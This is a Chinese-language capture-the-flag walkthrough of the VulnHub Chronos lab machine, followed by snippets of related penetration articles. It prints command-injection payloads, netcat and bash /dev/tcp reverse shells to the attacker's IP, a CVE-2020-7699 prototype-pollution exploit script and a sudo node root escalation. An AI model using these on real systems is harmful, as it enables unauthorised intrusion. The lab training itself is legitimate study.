<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    VulnHub靶機-Chronos | 紅隊打靶

    VSole2023-05-22 09:26:26

    實戰打靶系列第 03 篇文章 

    靶機地址:

    https://www.vulnhub.com/entry/chronos-1,735/
    

    一、主機發現

    使用netdiscover工具來進行主機發現(建議只用這款工具的時候,子網掩碼比實際的少8位,這樣的速度會更快)

    netdiscover -r 192.168.56.0/16  

    靶機的ip:192.168.56.105kali的ip:192.168.56.103
    

    二、對靶機進一步的探測

    1、對靶機進行操作系統、開放端口、運行的服務進行探測

    nmap -sT -O -sV -p- 192.168.56.105

    可以看到22端口開放的是ssh服務,版本是openssh 7.6p1;80端口跑的是apache的一個http服務;8080端口跑的是使用node.js的Express框架搭建的http服務。

    操作系統判斷是Linux4.15-5.6

    2、使用瀏覽器對80和8080端口進行訪問以及進一步探測

    訪問80端口,顯示一個Chronos - Date & Time

    訪問8080端口,顯示無法連接

    那么先對80端口進行目錄爆破,看有沒有可以利用的目錄或者文件

    gobuster dir -u http://192.168.56.105 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
    

    沒有發現一些有用的目錄或者文件

    在80端口頁面使用ctrl+u快捷鍵查看80端口的源碼

    這是一個html的代碼,但是在代碼的底部發現一段特殊的js代碼

    粘貼到編輯器

    這段代碼,很多都被加密,但是有一段很是吸引人,并且沒有被加密,但是它的參數數據被加密

    http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'

    分析一下這段代碼,去給chronos.local的8000端口發送一段請求,chronos.local好像是在說靶機本地的8000端口,結合前面的端口發現(還有8000端口無法連接),會不會需要去訪問這個域名才能去訪問8000端口;所以,去修改kali的host文件,將靶機的這個域名指向靶機8000端口

    vim /etc/hosts

    重新訪問80端口(因為這段代碼是在80端口的源代碼中)

    發現頁面出現當前的時間

    3、使用Burp Suite去抓取80端口的數據包,進行分析頁面變化的原因

    在歷史記錄里面,看到一個get請求,請求的數據包含剛才分析的代碼數據

    使用到在線的一款工具:cyberchef;去分析發送請求的數據(像base64),使用到cyberchef的一個magic模塊

    分析出這個數據是一個base58,并且解碼成'+Today is %A, %B %d, %Y %H:%M:%S.'

    看到這個解碼的信息,很像是linux的date命令

    在自己的kali上進行測試,date '+Today is %A, %B %d, %Y %H:%M:%S.'

    發現和80端口的返回信息一樣

    在Burp Suite上進一步驗證,將剛才的數據包的參數信息修改,重新發送,服務端沒有任何返回

    那么可以知道80端口的頁面變化信息是由format后面的數據結合服務段的date命令進行返回的

    三、獲取初始shell

    結合上面的信息收集和進一步的探測,可以利用format后面的參數來嘗試反彈shell

    linux里由很多類似管道符的符號,比如&,||,&,&&等等

    1、利用&&的作用,先用Burp Suite發包去探測是否可以使用

    因為剛才的代碼中,format后面的數據是base58加密,那么可以確定服務端會對format后面的數據進行base58解密,所以要對要傳入的數據進行base58加密

    && cat /etc/passwd,加密2amsWhMPZo2e6rNkDbzeRBaZH,通過Burp Suite發包

    返回/etc/passwd的數據

    && cd /bin && ls -la,加密(后續默認都已加密發送),發包

    發現有bash,也有nc

    &&which nc,判斷nc是否可以使用,返回Something went wrong,可能對format參數有判斷或者過濾

    && nc 192.168.56.103 4444,嘗試去連接一下kali(如果發包沒有返回,可以嘗試去重啟靶機)

    靶機連接到我的kali,證明沒有進行過濾處理,只是進行驗證而已

    那么嘗試去反彈shell

    && nc 192.168.56.103 4444 -e /bin/bash

    沒有反彈shell,那么nc的版本可能過久,沒有-e參數

    使用nc串聯去反彈shell

    && nc 192.168.56.103 4444 | /bin/bash | nc 192.168.56.103 5555 成功反彈shell,獲取到初始shell

    四、提權

    1、第一次提權(imera)

    sudo -l沒有權限訪問

    cat /etc/crontab查看定時任務

    發現有定時任務,但是這個定時任務的目錄下,發現有文件,但是沒有權限

    當前的目錄為/opt/chronos,ls發現有一個package.json,查看一下,這是node.js的引用庫

    同樣來到/opt/chronos-v2,發現有backend目錄,進去發現也和/opt/chronos一樣的文件,但是多了一個server.js,查看package.json和server.js

    發現server.js是一個只允許靶機本地訪問的服務,開放在本地的8080端口,是用來文件上傳的服務

    而package.json中多了一個模塊,express-fileupload

    通過百度等搜索引擎,發現node.js有一個“原型污染“的漏洞,漏洞編號CVE-2020-7699,而這個漏洞的要求是”parseNested”特征為ture,靶機剛好滿足這個要求,那么尋找exp

    import requests
    cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.103/1234 0>&1"'
    #pollute
    requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
    #execute command
    requests.get('http://127.0.0.1:8080')
    

    將代碼上傳到靶機(shell.py)

    python3 shell.py執行(kali開啟監聽),提權成功,

    2、第二次提權(root)

    輸入sudo -l,有可以不用root密碼就可以執行的文件

    那么通過node來進行提權(sudo濫用的文件可以通過搜索引擎去找到相應提權的技巧)

    sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

    提升為root權限并且拿到第二個flag

    參考資料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
    
    shell80端口
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    紅隊滲透項目之MinUv1
    2022-07-05 21:13:22
    紅隊滲透
    段時間在一次內網中遇到了一個問題,當時想了很多辦法,雖然最終沒能解決但是也學了很多東西。
    當我們滲透一個網站時發現從網站滲透不進去的時候,就可以查看該網站主機開啟了哪些端口,來從其開啟的端口來進行入侵
    在2號機上右擊,以管理員權限執行,kali就可以接收到反彈回來的shell,對shell進行操作。使用ms-sql-brute模塊對6號機sa賬戶進行爆破,獲得用戶名為sa,密碼為123456nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktopame.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116. 使用sqltools獲取6號機數據庫用xp_cmdshell關閉防火墻限制netsh firewall set opmode mode=disable. 添加3389入站規則netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow. 抓到域控管理員賬號和密碼:在4號機上,使用以下命令建立IPC$連接net use \\192.168.141.100 "hb123456,./$" /user:"Administrator"
    UDP版本將會在收到UDP包后回應含有垃圾字符的包。偽造兩個chargen服務器之間的UDP包。入侵者尋找SMTP服務器是為了傳遞他們的SPAM。客戶端向68端口廣播請求配置,服務器向67端口廣播回應請求。POP3服務有許多公認的弱點。關于用戶名和密碼交 換緩沖區溢出的弱點至少有20個,這意味著入侵者可以在真正登陸前進入系統。成功登陸后還有其他緩沖區溢出錯誤。這將會停止緩慢的連接。
    在網絡技術中,端口一般有兩種含義: (1)硬件設備中的端口TCP/IP協議中的端口
    自己的小網站跑在阿里云的 ECS 上面, 偶爾也去分析分析自己網站服務器日志,看看網站的訪問量。看看有沒有黑闊搞破壞!于是收集,整理一些服務器日志分析命令,大家可以試試!配合sort進一步排序。uniq -c 相當于分組統計并把統計數放在最前面cat?
    自己的小網站跑在阿里云的 ECS 上面, 偶爾也去分析分析自己網站服務器日志,看看網站的訪問量。看看有沒有黑客搞破壞!于是收集,整理一些服務器日志分析命令,大家可以試試!配合sort進一步排序。uniq -c 相當于分組統計并把統計數放在最前面cat?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类